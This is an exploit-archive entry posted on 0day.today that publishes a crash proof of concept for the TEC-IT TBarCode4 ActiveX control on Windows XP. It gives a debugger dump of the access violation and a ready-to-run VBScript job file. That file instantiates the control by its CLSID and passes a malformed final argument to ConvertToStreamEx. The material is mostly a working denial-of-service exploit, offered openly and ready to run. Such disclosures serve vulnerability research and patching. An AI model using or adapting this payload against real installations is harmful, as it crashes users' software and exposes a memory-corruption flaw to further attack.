TEC-IT TBarCode OCX ActiveX Control (TBarCode4.ocx 4.1.0 ) - Crash PoC

2013-08-03T00:00:00
ID 1337DAY-ID-21055
Type zdt
Reporter d3b4g
Modified 2013-08-03T00:00:00

Description

Exploit for windows platform in category dos / poc

                                        
                                            # Exploit Title: TEC-IT TBarCode OCX ActiveX Control (TBarCode4.ocx 4.1.0 ) dos poc
# Date: 29.7.2013
# Exploit Author: d3b4g
# Vendor Homepage:http://www.tec-it.com/en/start/Default.aspx
# Software Link: http://www.tec-it.com/en/start/Default.aspx
# Tested on: Windows XP SP3
 

Exception Code: ACCESS_VIOLATION
Disasm: 7785DFE4    CMP BYTE PTR [EAX+7],5  (ntdll.dll)
 
Seh Chain:
--------------------------------------------------
1   3C5744  TBarCode4.OCX
2   5AFCD959    VBSCRIPT.dll
3   778A71D5    ntdll.dll
 
 
Called From                   Returns To                   
--------------------------------------------------
ntdll.7785DFE4                KERNEL32.765614DD            
KERNEL32.765614DD             TBarCode4.3C0D31             
TBarCode4.3C0D31              TBarCode4.39205E             
TBarCode4.39205E              OLEAUT32.76B83E75            
OLEAUT32.76B83E75             OLEAUT32.76B83CEF            
OLEAUT32.76B83CEF             OLEAUT32.76B8052F            
OLEAUT32.76B8052F             TBarCode4.3BC65B             
TBarCode4.3BC65B              VBSCRIPT.5AF927E5            
VBSCRIPT.5AF927E5             VBSCRIPT.5AF93737            
VBSCRIPT.5AF93737             VBSCRIPT.5AF951AE            
VBSCRIPT.5AF951AE             VBSCRIPT.5AF950CA            
VBSCRIPT.5AF950CA             VBSCRIPT.5AF955A5            
VBSCRIPT.5AF955A5             VBSCRIPT.5AF95951            
VBSCRIPT.5AF95951             VBSCRIPT.5AF9417A            
VBSCRIPT.5AF9417A             SCROBJ.5ABD831F              
SCROBJ.5ABD831F               SCROBJ.5ABD99D3              
SCROBJ.5ABD99D3               SCROBJ.5ABD986E              
SCROBJ.5ABD986E               SCROBJ.5ABD980B              
SCROBJ.5ABD980B               SCROBJ.5ABD97D0              
SCROBJ.5ABD97D0               E140CD                       
E140CD                        E06B44                       
E06B44                        E033B4                       
E033B4                        E03189                       
E03189                        E030FA                       
E030FA                        E02F93                       
E02F93                        KERNEL32.765633AA            
KERNEL32.765633AA             ntdll.77869EF2               
ntdll.77869EF2                ntdll.77869EC5               
 
 
Registers:
--------------------------------------------------
EIP 7785DFE4
EAX 00000178
EBX 00000180
ECX 0038EB34 -> 0038F9B4
EDX 0045685A -> 00030000
EDI 00000000
ESI 005B0000 -> F9F249C7
EBP 0038E0D4 -> 0038E0E8
ESP 0038E0C4 -> 00000180
 
 
Block Disassembly:
--------------------------------------------------
7785DFC8    JNZ 77863481
7785DFCE    TEST BYTE PTR [ESI+48],1
7785DFD2    JNZ 778642B3
7785DFD8    TEST BL,7
7785DFDB    JNZ 778ADFE9
7785DFE1    LEA EAX,[EBX-8]
7785DFE4    CMP BYTE PTR [EAX+7],5    <--- CRASH
7785DFE8    JE 778ADFD2
7785DFEE    TEST BYTE PTR [EAX+7],3F
7785DFF2    JE 778ADFE0
7785DFF8    MOV [EBP-4],EAX
7785DFFB    CMP EAX,EDI
7785DFFD    JE 778AE053
7785E003    CMP BYTE PTR [EBX-1],5
7785E007    JE 778ADFFC
 
 
ArgDump:
--------------------------------------------------
EBP+8   005B0000 -> F9F249C7
EBP+12  00000000
EBP+16  00000180
EBP+20  0038E130 -> 0038E4F4
EBP+24  003C0D31 -> 64F04D8B
EBP+28  005B0000 -> F9F249C7
 
 
Stack Dump:
--------------------------------------------------
38E0C4 80 01 00 00 C0 E3 38 00 00 00 00 00 00 00 00 00  [................]
38E0D4 E8 E0 38 00 DD 14 56 76 00 00 5B 00 00 00 00 00  [......Vv..[.....]
38E0E4 80 01 00 00 30 E1 38 00 31 0D 3C 00 00 00 5B 00  [..............[.]
38E0F4 00 00 00 00 80 01 00 00 C0 E3 38 00 B8 E3 38 00  [................]
38E104 00 00 00 00 00 00 00 00 4A 3C 86 77 33 00 00 00  [........J..w....]
 
 
 
 
+-- Poc
 
 
<?XML version='1.0' standalone='yes' ?>
<package><job id='DoneInVBS' debug='false' error='true'>
<object classid='clsid:2FD4F344-D857-4853-BC2F-88D5863BDB57' id='target' />
<script language='vbscript'>
targetFile = "C:\Users\Administrator\Desktop\TBarCode4.ocx"
prototype  = "Function ConvertToStreamEx ( ByVal hDC As Long ,  ByVal eImageType As tag_ImageType ,  ByVal nQuality As Long ,  ByVal nXSize As Long ,  ByVal nYSize As Long ,  ByVal nXRes As Long ,  ByVal nYRes As Long )"
memberName = "ConvertToStreamEx"
progid     = "TBARCODE4Lib.TBarCode4"
argCount   = 7
 
arg1=1
arg2=1
arg3=1
arg4=1
arg5=1
arg6=1
arg7=-2147483647
 
target.ConvertToStreamEx arg1 ,arg2 ,arg3 ,arg4 ,arg5 ,arg6 ,arg7
 
</script></job></package>
 
 
 
-end

#  0day.today [2018-01-09]  #